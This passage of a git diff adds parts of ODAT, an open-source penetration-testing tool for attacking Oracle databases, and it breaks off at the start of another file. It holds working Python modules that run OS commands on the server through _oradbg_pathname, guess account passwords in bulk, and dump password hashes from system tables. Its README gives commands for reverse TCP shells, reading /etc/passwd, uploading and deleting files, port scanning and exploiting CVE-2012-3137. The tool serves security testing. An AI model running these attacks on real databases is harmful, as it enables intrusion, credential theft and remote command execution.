self.args['SYSDBA'] = True + return self.connection(threaded=threaded, stopIfError=stopIfError) + elif self.ERROR_INSUFF_PRIV_CONN in str(e): + logging.info("Insufficient privileges, SYSDBA or SYSOPER disabled") + self.args['SYSDBA'] = False + self.args['SYSOPER'] = False + return self.connection(threaded=threaded, stopIfError=stopIfError) + elif stopIfError == True: + logging.critical("Impossible to connect to the remote database: {0}".format(self.cleanError(e))) + exit(EXIT_BAD_CONNECTION) + else : return ErrorSQLRequest(e) + + + def __retryConnect__(self, nbTry=3): + ''' + Try to re connect when TARGET UNAVAILABLE + return status + ''' + timesleep, status = 2, '' + for tryNum in range(nbTry): + logging.debug("Re connection {0} to the listener on the {1} server".format(tryNum+1, self.args['server'])) + sleep(timesleep) + status = self.connection() + + if self.__needRetryConnection__(status) == False: + return status + + if tryNum == nbTry-1 : + logging.warning("Becareful! The remote is now unavailable. {0} SID not tried. Perhaps you are doing a DOS on the listener.".format(self.args['sid'])) + + timesleep += 4 + return None + + def __needRetryConnection__ (self, status): + ''' + Return True if need retry the connection (server unaivalable) + else return False + ''' + for aString in self.TARGET_UNAVAILABLE: + if aString in str(status): + return True + return False + + def close(self): + ''' + Close connection to the database + ''' + if self.args.has_key('dbcon'): + try: + self.args['dbcon'].close() + except Exception, e: + logging.debug("Impossible to close the connection to the database: {0}".format(e)) + + def __execThisQuery__(self,query=None,ld=[],isquery=True): + ''' + Permet de définir un cursor et execute la requete sql + Si ld != [], active le chargement dans un dictionnaire des + resultats + ''' + cursor = self.args['dbcon'].cursor() + try: + cursor.execute(query) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: `{1}`".format(query, self.cleanError(e))) + return ErrorSQLRequest(e) + if isquery==True : + try : + results = cursor.fetchall() + except Exception, e: + logging.info("Impossible to fetch all the rows of the query {0}: `{1}`".format(query, self.cleanError(e))) + return ErrorSQLRequest(e) + else : + cursor.close() + return 0 + cursor.close() + if ld==[] : return results + else : + values = [] + for line in results: + dico = {} + for i in range(len(line)): + dico[ld[i]] = line[i] + values.append(dico) + return values + + def __execPLSQL__(self,request): + ''' + Execute this PL/SQL request + ''' + return self.__execThisQuery__(query=request,ld=[],isquery=False) + + def __execQuery__(self,query,ld=[]): + ''' + Execute the query (not PL/SQL) and parse response + ''' + return self.__execThisQuery__(query=query, ld=ld, isquery=True) + + def __execProc__(self,proc,options=None): + ''' + Execute the stored procedure + ''' + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try: + if options == None : + cursor.callproc(proc) + else: + cursor.callproc(proc,options) + except Exception, e: + logging.info("Impossible to execute the procedure `{0}`: {1}".format(proc, self.cleanError(e))) + cursor.close() + return ErrorSQLRequest(e) + cursor.close() + return True + + def __execPLSQLwithDbmsOutput__(self,request,addLineBreak=False): + ''' + Execute the request containing dbms_output + ''' + responsedata = "" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(request) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(request, self.cleanError(e))) + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: + break + line = lineVar.getvalue() + if line == None : + line = '' + responsedata += line + if addLineBreak == True : responsedata +='\n' + cursor.close() + except Exception, e: + logging.info("Error with the request: {0}".format(str(e))) + return ErrorSQLRequest(e) + return responsedata + + def __generateRandomString__(self, nb=20): + ''' + Generate a random string of nb chars + ''' + return ''.join(random.choice(string.ascii_uppercase) for x in range(nb)) + + def __loadFile__(self, localFile): + ''' + Return if it is a text file and return data stored in the localFile file + If an error, return the error + ''' + logging.debug("Loading the {0} file".format(localFile)) + data = '' + try: + f = open(localFile,'rb') + data = f.read() + f.close() + except Exception, e: + logging.warning('Error during the read: {0}'.format(str(e))) + return e + return data + + def getStandardBarStarted(self, maxvalue): + """Standard status bar""" + return ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=maxvalue).start() + + def cleanError(self,errorMsg): + ''' + Replace \n and \t by escape + ''' + return str(errorMsg).replace('\n',' ').replace('\t',' ') + + def writeFile(self,nameFile, data): + ''' + Write a new file named nameFile containing data + Return True if Good, otherwise return False + ''' + logging.info("Create the {0} file".format(nameFile)) + try: + f = open(nameFile,'w') + f.write(data) + f.close() + except Exception, e: + logging.warning('Error during the writing of the {0} file: {1}'.format(nameFile,self.cleanError(e))) + return False + return True + + def loadInformationRemoteDatabase(self): + ''' + Get the oracle versions + ''' + logging.debug ("Pickup the remote verion") + self.oracleDatabaseversion = self.args['dbcon'].version + logging.debug ("Pickup the remote Operating System") + REQ = "select rtrim(substr(replace(banner,'TNS for ',''),1,instr(replace(banner,'TNS for ',''),':')-1)) os from v$version where banner like 'TNS for %'" + response = self.__execQuery__(query=REQ,ld=['OS']) + if isinstance(response,Exception): + pass + else : + if isinstance(response,list) and isinstance(response[0],dict): + self.remoteOS = response[0]['OS'] + logging.info("OS version : {0}".format(self.remoteOS)) + + def remoteSystemIsWindows(self): + ''' + Return True if Windows + ''' + if "windows" in self.remoteOS.lower() : return True + else : return False + + def remoteSystemIsLinux(self): + ''' + Return True if Linux + ''' + if "linux" in self.remoteOS.lower() : return True + else : return False diff --git a/Oradbg.py b/Oradbg.py new file mode 100644 index 0000000..f49c29e --- /dev/null +++ b/Oradbg.py @@ -0,0 +1,85 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging, cx_Oracle +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class Oradbg (OracleDatabase): + ''' + Allow the user to execute a binary stored on the server + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Oradbg object created") + OracleDatabase.__init__(self,args) + + def execOSCommand(self,cmd): + ''' + Execute a binary or script stored on the server + ''' + logging.info('Execute the following command on the remote database system: {0}'.format(cmd)) + logging.info('Be Careful: script or bin without special chars is allowed') + logging.debug('Setting the _oradbg_pathname variable to {0}'.format(cmd)) + REQUEST = "alter system set \"_oradbg_pathname\"='{0}'".format(cmd) + response = self.__execPLSQL__(REQUEST) + if isinstance(response,Exception): + logging.info("Impossible to set _oradbg_pathname: '{0}'".format(self.cleanError(response))) + return response + else: + logging.debug('Setting the system set events') + REQUEST = "alter system set events 'logon debugger'" + response = self.__execPLSQL__(REQUEST) + if isinstance(response,Exception): + logging.info('Impossible to set system events: {0}'.format(self.cleanError(response))) + return response + else : + logging.debug('Connecting to the database to run the script/bin') + status = self.connection(threaded=False, stopIfError=False) + if isinstance(response,Exception): + return ErrorSQLRequest("Impossible to connect to the remmote database to run the bin/script: {0}".format(self.cleanError(e))) + return True + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("Oradbg ?") + command = self.__generateRandomString__() + logging.info("Try to use _oradbg_pathname variable to execute the following random command: {0}".format(command)) + status = self.execOSCommand(cmd=command) + if status == True : + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + + +def runOradbgModule(args): + ''' + Run the Oradbg module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","exec"]) == False : return EXIT_MISS_ARGUMENT + oradbg = Oradbg(args) + status = oradbg.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the Oradbg can be used") + status = oradbg.testAll() + #Option 1: exec + if args['exec'] != None: + args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server'])) + status = oradbg.execOSCommand(args['exec']) + if status == True: + args['print'].goodNews("The `{0}` command was executed on the {1} server (probably)".format(args['exec'],args['server'])) + else : + args['print'].badNews("The `{0}` command was not executed on the {1} server: {2}".format(args['exec'],args['server'],str(status))) + oradbg.close() + + + + + + diff --git a/Output.py b/Output.py new file mode 100644 index 0000000..287ac26 --- /dev/null +++ b/Output.py @@ -0,0 +1,71 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +#PYTHON_TERMCOLOR_OK +try: + from termcolor import colored + TERMCOLOR_AVAILABLE = True +except ImportError: + TERMCOLOR_AVAILABLE = False + +class Output (): + ''' + All output except log used this object + ''' + def __init__(self, args): + ''' + CONSTRUCTOR + ''' + self.args = args + self.noColor = args['no-color'] + self.titlePos = 0 + self.subTitlePos = 0 + + def title (self, m): + ''' + print a title + ''' + self.titlePos += 1 + self.subTitlePos = 0 + formatMesg = '\n[{0}] {1}: {2}'.format(self.titlePos,'({0}:{1})'.format(self.args['server'],self.args['port']),m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'white',attrs=['bold']) + + def subtitle (self, m): + ''' + print a subtitle + ''' + self.subTitlePos += 1 + formatMesg = '[{0}.{1}] {2}'.format(self.titlePos, self.subTitlePos, m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'white',attrs=['bold']) + + def badNews (self, m): + ''' + print a stop message + ''' + formatMesg = '[-] {0}'.format(m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'red',attrs=['bold']) + + def goodNews(self,m): + ''' + print good news + ''' + formatMesg = '[+] {0}'.format(m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'green',attrs=['bold']) + + def unknownNews(self,m): + ''' + print unknow news + ''' + formatMesg = '[+] {0}'.format(m) + if self.noColor == True or TERMCOLOR_AVAILABLE == False: print formatMesg + else : print colored(formatMesg, 'yellow',attrs=['bold']) + + def printOSCmdOutput(self,m): + ''' + print the output of a OS command + ''' + print m diff --git a/PasswordGuesser.py b/PasswordGuesser.py new file mode 100644 index 0000000..5ce7843 --- /dev/null +++ b/PasswordGuesser.py @@ -0,0 +1,136 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +from time import sleep +import logging, os.path +from Constants import * +from Utils import sidHasBeenGiven + +class PasswordGuesser (OracleDatabase): + ''' + Password guesser + ''' + def __init__(self,args,accountsFile,timeSleep=0): + ''' + Constructor + ''' + OracleDatabase.__init__(self,args) + self.accountsFile = accountsFile + if self.accountsFile == '' : self.accounts = [] + else : self.accounts = self.__getAccounts__() + self.valideAccounts = {} + self.args['SYSDBA'] = False + self.args['SYSOPER'] = False + self.timeSleep = timeSleep + + def __getAccounts__(self): + ''' + return list containing accounts + ''' + accounts = [] + logging.info('Load accounts stored in the {0} file'.format(self.accountsFile)) + f = open(self.accountsFile) + for l in f: + lsplit = l.replace('\n','').replace('\t','').split('/') + if isinstance(lsplit,list) and len(lsplit) == 2 : + accounts.append([lsplit[0],lsplit[1]]) + f.close() + return sorted(accounts, key=lambda x: x[0]) + + def searchValideAccounts(self): + ''' + Search valide accounts + ''' + userChoice = 1 + logging.info("Searching valid accounts on {0}:{1}/{2}".format(self.args['server'], self.args['port'], self.args['sid'])) + pbar,nb = self.getStandardBarStarted(len(self.accounts)), 0 + for anAccount in self.accounts : + nb += 1 + pbar.update(nb) + logging.debug("Try to connect with {0}".format('/'.join(anAccount))) + self.args['user'], self.args['password'] = anAccount[0], anAccount[1] + self.__generateConnectionString__() + status = self.__saveThisLoginInFileIfNotExist__(self.args['user']) + if self.args['force-retry'] == False and status == False and userChoice ==1: + userChoice = self.__askToTheUserIfNeedToContinue__(self.args['user']) + if userChoice == 0 : + logging.info("The attack is aborded because you choose to stop (s/S)") + break + status = self.connection() + if status == True: + self.valideAccounts[self.args['user']] = self.args['password'] + logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr'])) + elif "connection as SYS should be as SYSDBA or SYSOPER" in str(status): + logging.debug("Try to connect as sysdba") + self.args['SYSDBA'] = True + status = self.connection() + if status == True: + self.valideAccounts[self.args['user']] = self.args['password'] + logging.info("Valid credential: {0} ({1}) ".format('/'.join(anAccount),self.args['connectionStr'])) + self.args['SYSDBA'] = False + elif self.__needRetryConnection__(status) == True: + status = self.__retryConnect__(nbTry=4) + self.close() + sleep(self.timeSleep) + pbar.finish() + return True + + def __saveThisLoginInFileIfNotExist__(self,login): + ''' + Save this login in the trace file to known if this login has already been tested + If the login is in the file , return False. Otherwise return True + ''' + if self.args.has_key('loginTraceFile') == False: + self.args['loginTraceFile'] = "{0}-{1}-{2}{3}".format(self.args['server'],self.args['port'],self.args['sid'],PASSWORD_EXTENSION_FILE) + if os.path.isfile(self.args['loginTraceFile']) == False: + f=open(self.args['loginTraceFile'],'w') + f.close() + logging.info("The {0} file has been created".format(self.args['loginTraceFile'])) + f=open(self.args['loginTraceFile'],'r') + for l in f: + aLoginInFile = l.replace('\n','') + if login == aLoginInFile : + f.close() + return False + f.close() + f=open(self.args['loginTraceFile'],'a') + f.write('{0}\n'.format(login)) + f.close() + return True + + def __askToTheUserIfNeedToContinue__(self,login): + ''' + Ask to the user if the module need to continue + return: + - 0 : stop (no) + - 1 : continue and ask again (yes) + - 2 : continue without ask (yes) + ''' + def askToContinue (): + rep = raw_input("The login {0} has already been tested at least once. What do you want to do:\n- stop (s/S)\n- continue and ask every time (a/A)\n- continue without to ask (c/C)\n".format(login)) + if rep == 's' or rep == 'S' : return 0 + elif rep == 'a' or rep == 'A' : return 1 + elif rep == 'c' or rep == 'C' : return 2 + else : return -1 + rep = askToContinue() + while (rep==-1): + rep = askToContinue() + return rep + +def runPasswordGuesserModule(args): + ''' + Run the PasswordGuesser module + ''' + if sidHasBeenGiven(args) == False : return EXIT_MISS_ARGUMENT + args['print'].title("Searching valid accounts on the {0} server, port {1}".format(args['server'],args['port'])) + passwordGuesser = PasswordGuesser(args,args['accounts-file'],timeSleep=args['timeSleep']) + passwordGuesser.searchValideAccounts() + validAccountsList = passwordGuesser.valideAccounts + if validAccountsList == {}: + args['print'].badNews("No found a valid account on {0}:{1}/{2}".format(args['server'], args['port'], args['sid'])) + else : + args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], args['sid'],validAccountsList)) + + + diff --git a/Passwords.py b/Passwords.py new file mode 100644 index 0000000..7380e63 --- /dev/null +++ b/Passwords.py @@ -0,0 +1,131 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging +from Constants import * +from Info import Info +from Utils import checkOptionsGivenByTheUser + +class Passwords (OracleDatabase): + ''' + Password guesser + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Passwords object created") + OracleDatabase.__init__(self,args) + self.passwords = [] + + def __resetPasswordList__(self): + ''' + reset self.passwords + ''' + self.passwords = [] + + def __tryToGetHashedPasswords__(self): + ''' + Try to get hashed password + In Oracle 11g-12g: select name, password, spare4 from sys.user$ + In Oracle 9-10: SELECT username, password FROM DBA_USERS; + ''' + self.__resetPasswordList__() + if self.args['info'].isVersion('11.') or self.args['info'].isVersion('12.'): + req = "SELECT name, password, spare4 FROM sys.user$" + results = self.__execQuery__(query=req,ld=['name', 'password','spare4']) + else : + req = "SELECT username, password FROM DBA_USERS" + results = self.__execQuery__(query=req,ld=['username', 'password']) + if isinstance(results,Exception): + logging.info("Impossible to get hashed passwords: {0}".format(results)) + return results + else : + logging.info("Get hashed passwords") + for l in results: + self.passwords = results + return True + + def __tryToGetHashedPasswordsfromHistory__(self): + ''' + Try to get hashed password from select * from sys.user_history$; + PASSWORD_REUSE_TIME or/and PASSWORD_REUSE_MAX must be used to have passwords in this table + ''' + self.__resetPasswordList__() + req = "SELECT user#, password, password_date FROM sys.user_history$" + results = self.__execQuery__(query=req,ld=['user#', 'password','password_date']) + if isinstance(results,Exception): + logging.info("Impossible to get hashed passwords from the sys.user_history$ table: {0}".format(results)) + return results + else : + logging.info("Get hashed passwords from the sys.user_history$ table") + for l in results: + self.passwords = results + return True + + def printPasswords (self): + ''' + print passwords + ''' + for l in self.passwords: + if len(l)==3 and l.has_key('name') and l.has_key('spare4'): + if l['password']!=None and l['spare4']!=None: print "{0}; {1}; {2}".format(l['name'], l['password'],l['spare4']) + elif l.has_key('username'): + if l['password']!=None: print "{0}; {1}".format(l['username'], l['password']) + elif l.has_key('user#'): + if l['password']!=None: print "{0}; {1}; {2}".format(l['user#'], l['password'], l['password_date']) + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("Hashed Oracle passwords ?") + logging.info("Try to get Oracle hashed passwords") + status = self.__tryToGetHashedPasswords__() + if status == True : + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + self.args['print'].subtitle("Hashed Oracle passwords from history?") + logging.info("Try to get Oracle hashed passwords from the history table") + status = self.__tryToGetHashedPasswordsfromHistory__() + if status == True : + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runPasswordsModule(args): + ''' + Run the Passwords module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","info","get-passwords","get-passwords-from-history"]) == False : return EXIT_MISS_ARGUMENT + passwords = Passwords(args) + status = passwords.connection(stopIfError=True) + if args.has_key('info')==False: + info = Info(args) + info.loadInformationRemoteDatabase() + args['info'] = info + if args['test-module'] == True : + args['print'].title("Test if hashed passwords can be got") + status = passwords.testAll() + if args['get-passwords'] == True : + args['print'].title("Try to get Oracle hashed passwords") + status = passwords.__tryToGetHashedPasswords__() + if status == True : + args['print'].goodNews("Here are Oracle hashed passwords:") + passwords.printPasswords() + else : + args['print'].badNews("Impossible to get hashed passwords: {0}".format(status)) + if args['get-passwords-from-history'] == True : + args['print'].title("Try to get Oracle hashed passwords from history") + status = passwords.__tryToGetHashedPasswordsfromHistory__() + if status == True : + args['print'].goodNews("Here are Oracle hashed passwords:") + passwords.printPasswords() + else : + args['print'].badNews("Impossible to get hashed passwords from history: {0}".format(status)) + + + diff --git a/README.md b/README.md index 5987f22..38673ac 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,479 @@ -odat +ODAT (*by Quentin HARDY*) ==== -ODAT (Oracle Database Attacker Tool) is an open source penetration testing tool that allows to attack Oracle Databases. +__ODAT__ ( __O__ racle __D__ atabase __A__ ttacking __T__ ool) is an open source __penetration testing__ tool that test the security of __Oracle Databases remotely__. + + +Current version: 1.0 +==== + +Version __1.0__ (2014/07/01) + +Tested on Oracle Database __10g__ and __11g__. + +No tested on 9g or 12c yet. + +Features +==== + +Thanks to ODAT, you can: + +* search __valid SID__ on a remote Oracle Database listener via: + * a dictionary attack + * a brute force attack + * ALIAS of the listener +* search Oracle __accounts__ using: + * a dictionary attack + * each Oracle user like the password (need an account before to use this attack) +* __execute system commands__ on the database server using: + * DBMS_SCHEDULER + * JAVA + * external tables + * oradbg +* __download files__ stored on the database server using: + * UTL_FILE + * external tables + * CTXSYS +* __upload files__ on the database server using: + * UTL_FILE + * DBMS_XSLPROCESSOR + * DBMS_ADVISOR +* __delete files__ using: + * UTL_FILE +* __send/reveive HTTP requests__ from the database server using: + * UTL_HTTP + * HttpUriType +* __scan ports__ of the local server or a remote server using: + * UTL_HTTP + * HttpUriType + * UTL_TCP +* exploit the __CVE-2012-313__ ([http://cvedetails.com/cve/2012-3137]) + * pickup the session key and salt for arbitrary users + * attack by dictionary on sessions + +Supported Platforms and dependencies +==== + +ODAT is compatible with __Linux__ only. + +A __standalone version__ exists in order to don't have need to install dependencies and slqplus (see the __build__ folder of the git). +The ODAT standalone has been generated thanks to *pyinstaller*. + +If you want to have the __development version__ installed on your computer, these following tool and dependencies are needed: +* Langage: Python 2.7 +* Oracle dependancies: + * Instant Oracle basic + * Instant Oracle sdk +* Python libraries: + * cx_Oracle + * colorlog (recommended) + * termcolor (recommended) + * argcomplete (recommended) + * pyinstaller (recommended) + +Installation (optional) +==== + +This part describes how to install instantclient, CX_Oracle and some others python libraries on __Ubuntu__ in order to have the ODAT development version. +Don't forget that an ODAT standalone version exists in *build*: __It is not required to install something for use the standalone version :)__ + +* Get instant client basic, sdk (devel) and sqlplus from the Oracle web site: + * X64: http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html + * X86: http://www.oracle.com/technetwork/topics/linuxsoft-082809.html + +* Install *python-dev*, *alien* and *libaio1* package (for sqlplus): +```bash +$ sudo apt-get install libaio1 python-dev alien python-pip +``` + +* Generate DEB files from RPM files thanks to : +```bash +sudo alien --to-deb oracle-instantclient11.2-basic-???.x???.rpm +sudo alien --to-deb oracle-instantclient11.2-sqlplus-???.x???.rpm +sudo alien --to-deb oracle-instantclient11.2-devel-???.x???.rpm +``` + +* Install instant client basic, sdk and sqlplus: +```bash +sudo dpkg -i oracle-instantclient11.2-basic-???.x???.deb +sudo dpkg -i oracle-instantclient11.2-sqlplus-???.x???.deb +sudo dpkg -i oracle-instantclient11.2-devel_???_???.deb +``` + +* Put these lines in your */etc/profile* file in order to define Oracle *env* variables: +```bash +export ORACLE_HOME=/usr/lib/oracle/11.2/client64/ +export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib +export PATH=$ORACLE_HOME/bin:$PATH +source /etc/profile +``` + +* Restart your session (to apply env variables) and run *sqlplus*: +```bash +sqlplus +``` + +> If nor error: good job, Continue... + +* Create a symlink to your so file. +```bash +cd $ORACLE_HOME/lib/ +sudo ln -s libclntsh.so.11.1 libclntsh.so +``` + +* Create the */etc/ld.so.conf.d/oracle.conf* file and add the path to Oracle home: +``` +/usr/lib/oracle/11.2/client64/lib/ +``` + +* Update the ldpath using: +```bash +sudo ldconfig +``` + +* Install *CX_Oracle* +```bash +sudo -s +source /etc/profile +pip install cx_Oracle +``` + +* Test if all is good: +```bash +python -c 'import cx_Oracle' +``` +> This command should *just return* without errors. + +* Install some python libraries: +```bash +sudo apt-get install python-scapy +sudo pip install colorlog termcolor pycrypto +sudo pip install argcomplete && sudo activate-global-python-argcomplete +``` + +* Install the install the __development__ version of pyinstaller (http://www.pyinstaller.org/). +```bash +python setup.py install +``` + +* Run ODAT: +```bash +./odat.py -h +``` + +> __Good job if you have not errors:)__ + +Examples +==== + +Modules +--- + +* You can list all modules: +```bash +./odat.py -h +``` + +* When you have chosen a module (example: *all*), you can use it and you can list all features and options of the module: +```bash +./odat.py all -h +``` + +Module *all* +--- + +The *all* module allows you to run all modules (depends on options that you have purchased). + +It is useful __when you want to known what you can do on a database server (with a valid SID or no, with a valid Oracle account or no)__. + +* run all ODAT modules on the 192.168.142.73 Oracle database server listening on the 1521 port: +```bash +./odat.py all -s 192.168.142.73 -p 1521 +``` + * ODAT will search valid SID. + * It will search valid Oracle accounts on each Oracle Instance (SID) found. + * For each valid account on each valid instance (SID), it will give you what each user can do (execute system commands on the database server, read files, etc). + +* If you known a SID (ex: *ORCL*): +```bash +./odat.py all -s 192.168.142.73 -p 1521 -d ORCL +``` + +* If you don't known a SID, you will can give the number of character maximum and the charset to use (for the brute force attack) and the file containing SID (for the dictionary attack): +```bash +./odat.py all -s 192.168.142.73 -p 1521 --sids-max-size=3 --sid-charset='abc' --accounts-file=accounts.txt +``` + +* If you known a SID (ex: *ORCL*) and an account (*SYS/password*): +```bash +./odat.py all -s 192.168.142.73 -p 1521 -d ORCL -U SYS -P password +``` + +Module *sidguesser* +--- + +This module search valid SID only. + +* You can give the file name containing a SID list: +```bash +./odat.py passwordguesser -s $SERVER -d $SID --accounts-file=./accounts_small.txt +``` + +Module *passwordguesser* +--- + +This module has been created in order to try to guess Oracle users passwords. + +* This command will try to connect to the database using the Oracle username like the password (only) in order to don't block accounts with too many bad attempts: +```bash +./odat.py passwordguesser -s $SERVER -d $SID +``` + +* If you want to try each Oracle username with multiple passwords: +```bash +./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt +``` + + +Module *dbmsscheduler* +--- + +This module can be used to execute system commands on a remote database server. Useful to get a __reverse tcp shell__. + +__Note 1__: It is not possible to: +1. get the output of the system command +2. to give some special chararacters in arguments to the system command (ex: *>*) + +* To get a reverse tcp shell when the remote database server is a Linux: +```bash +./odat.py dbmsscheduler -s $SERVER -d $SID -U $USER -P $PASSWORD --reverse-shell $MY_IP $A_LOCAL_PORT +``` +__Note 2__: You don't need to open a listen port manually to have a reverse tcp shell: The module will open the specified port for you. + +> I think it is the __most useful__ and __most effective__ module: Many times I have meet Oracle users who can use the Oracle DBMS_SCHEDULER library but not the JAVA. + +Module *java* +--- + +This module can be used to execute system commands on a remote database server. Useful to get a __shell__ or a __reverse tcp shell__. + +* To get a *shell* on the database server:* +```bash +./odat.py java -s $SERVER -d $SID -U $USER -P $PASSWORD --shell +``` + +* To get a reverse tcp shell: +```bash +./odat.py java -s $SERVER -d $SID -U $USER -P $PASSWORD --reverse-shell +``` + +Module *oradbg* +--- + +This module can be used to execute system commands on a remote database server: + +* To execute the */bin/ls* command: +```bash +./odat.py oradbg -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /bin/ls +``` + +Module *utlhttp* +--- + +This module allows you to forge HTTP requests. You can sendand receive HTTP request from the database server. +It can be used to scan ports of a remote server. It is useful to knwon which *localhost* ports are listening for example. + +* The *--test-module* option exists on each module and it permits to known if the current Oracle user is allowed to use the module: +```bash +./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module +``` + +* You can scan some ports: +```bash +./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22 +./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30 +``` + +* You can send a HTTP request: +```bash +echo 'GET / HTTP/1.0\n' > ./temp.txt; +./odat.py utlhttp -s $SERVER -d $SID -U $USER -P $PASSWORD --send google.com 80 temp.txt ; +rm ./temp.txt +``` + +Module *httpuritype* +--- + +This module can be used to scan ports and to forge some HTTP requests: + +* To scan ports: +```bash +/odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22 +./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 20-30 +``` + +* You can send a GET request: +```bash +./odat.py httpuritype -s $SERVER -d $SID -U $USER -P $PASSWORD --url 127.0.0.1:80 +``` + +Module *utltcp* +--- + +This module can be used to scan ports and it can be used to forge and to send TCP packet (ex: HTTP request). + +* To scan ports: +```bash +./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --scan-ports 127.0.0.1 1521,443,22 +``` + +* To forge a HTTP GET request: +```bash +echo 'GET / HTTP/1.0\n\n' > ./temp.txt; +./odat.py utltcp -s $SERVER -d $SID -U $USER -P $PASSWORD --send-packet 127.0.0.1 80 ./temp.txt +rm ./temp.txt +``` + +Module *ctxsys* +--- + +This module can be used to download a file stored on the database server: + +* To get the */etc/passwd* file of the remote database server: +```bash +./odat.py ctxsys -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /etc/passwd +``` + +Module *externaltable* +--- + +This module can be used to download files or to run script remotly. + +__Notes__: +* It is __not possible to give an argument__ to the executable +* The executable must be stored on the database server +* The executable must have the execution bit enabled + +* To download the *temp.sh* file stored in */tmp/* in *test.txt*: +```bash +./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --getFile /tmp/ temp.sh test.txt +``` + +* To run the *temp.sh* executable stored in the */tmp/* folder of the database server: +```bash +./odat.py externaltable -s $SERVER -d $SID -U $USER -P $PASSWORD --exec /tmp/ temp.sh +``` + +Module *dbmsxslprocessor* +--- + +This module can be used to upload a file on a remote database server: + +* To upload the *test.txt* local file in the */tmp/* folder like *file.txt*: +```bash +./odat.py dbmsxslprocessor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt test.txt +``` + +Module *dbmsadvisor* +--- + +This module can be used to upload a file on the server. + +* To upload the *test.txt* local file in the */tmp/* folder like *file.txt*: +```bash +./odat.py dbmsadvisor -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt ./test.txt +``` + +Module *utlfile* +--- + +This module can be used to: +* upload a file +* download a file +* delete a remote file + + +* To download the */etc/passwd* file: +```bash +./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --test-module --getFile /etc/ passwd passwd.txt +``` + +* To upload the *test.txt* file: +```bash +./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --putFile /tmp/ file.txt test.txt +``` + +* To delete the *file.txt* file stored in */tmp/*: +```bash +./odat.py utlfile -s $SERVER -d $SID -U $USER -P $PASSWORD --removeFile /tmp/ file.txt +``` + +Module *passwordstealer* +--- + +This module has been created in order to get hashed password quicly and to pickup hashed passwords from the history. + +* To get hashed passwords from the history: +```bash +./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords-from-history +``` + +* To get hashed passwords from the users table: +```bash +./odat.py passwordstealer -s $SERVER -d $SID -U $USER -P $PASSWORD --get-passwords +``` + +Module *stealRemotePwds* +--- + +This module allows you to exploit the CVE-2012-3137 ([http://www.cvedetails.com/cve/CVE-2012-3137/]) vulnerability easily. + + +__Note__: Need *root* privileges in order to sniff session keys and salts from the network. + +* To get session keys and salts of users stored in the *accounts_small.txt* file: +```bash +sudo ./odat.py stealRemotePwds -s $SERVER -d $ID --user-list accounts_small.txt --get-all-passwords +``` +* To do a dictionary attack on session keys and salts: +```bash +sudo chmod o+r sessions-$SERVER-1521-$SID.txt; ./odat.py stealRemotePwds -s $SERVER -d $SID --decrypt-sessions sessions-$SERVER-1521-$SID.txt dede.txt +``` + +--- +| __Quentin HARDY__ | +| ------------- | +| __qhardyfr@gmail.com__ | +| __quentin.hardy@bt.com__ | +--- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + -Coming soon... diff --git a/SIDGuesser.py b/SIDGuesser.py new file mode 100644 index 0000000..d9e427c --- /dev/null +++ b/SIDGuesser.py @@ -0,0 +1,146 